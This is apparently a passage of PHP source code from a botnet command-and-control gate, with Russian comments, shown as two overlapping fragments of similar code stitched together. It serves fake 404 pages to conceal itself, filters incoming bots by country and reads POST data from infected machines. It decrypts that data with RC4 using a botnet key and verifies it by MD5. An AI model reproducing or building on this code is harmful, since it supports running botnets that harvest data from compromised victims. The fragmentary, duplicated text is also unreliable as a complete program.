} die($text); } if (file_exists('system/gate/gate.plugin.404.php')) { require 'system/gate/gate.plugin.404.php'; } if (@$_SERVER['REQUEST_METHOD'] !== 'POST') { die(function_exists('e404plugin_display') ? e404plugin_display() : die404('Not found')); } /* plugin: 404 */ if (function_exists('e404plugin_display') && !empty($config['allowed_countries_enabled'])) { # Analize IPv4 & Ban if needed if (connectToDb()) { $realIpv4 = trim(!empty($_GET['ip']) ? $_GET['ip'] : $_SERVER['REMOTE_ADDR']); $country = ipv4toc($realIpv4); if (!e404plugin_check($country)) { die; } } } //Получаем данные. $data = @file_get_contents('php://input'); $dataSize = @strlen($data); if ($dataSize < HEADER_SIZE + ITEM_HEADER_SIZE) { die404(); } if ($dataSize < BOTCRYPT_MAX_SIZE) { rc4($data, $config['botnet_cryptkey_bin']); } visualDecrypt($data); //Верефикация. Если совпадает MD5, нет смысла проверять, что-то еще.
GateLog::get()->flush(); } register_shutdown_function('_logshutdown'); } # Analize IPv4 & Ban if needed $realIpv4 = trim(!empty($_GET['ip']) ? $_GET['ip'] : $_SERVER['REMOTE_ADDR']); # GeoIP lookup has proved itself to be rather expensive: now it's switchable $country = '??'; if (!empty($GLOBALS['config']['reports_geoip'])) { $country = ipv4toc($realIpv4); } /* plugin: 404 */ if (!empty($GLOBALS['config']['allowed_countries_enabled']) && ($country == '??' || is_null($country))) { $country = ipv4toc($realIpv4); } $country_allowed = function_exists('e404plugin_check') ? e404plugin_check($country) : true; # Получаем данные $data = @file_get_contents('php://input'); $dataSize = @strlen($data); if ($dataSize < HEADER_SIZE + ITEM_HEADER_SIZE) { gate_die('init', '$dataSize too small'); } $globalKey = $config['botnet_cryptkey_bin']; if ($dataSize < BOTCRYPT_MAX_SIZE) { rc4($data, $globalKey); } visualDecrypt($data); # Верификация: если совпадает MD5 - нет смысла проверять что-либо ещё if (strcmp(md5(substr($data, HEADER_SIZE), true), substr($data, HEADER_MD5, 16)) !== 0) { gate_die('init', 'md5() verif failed'); }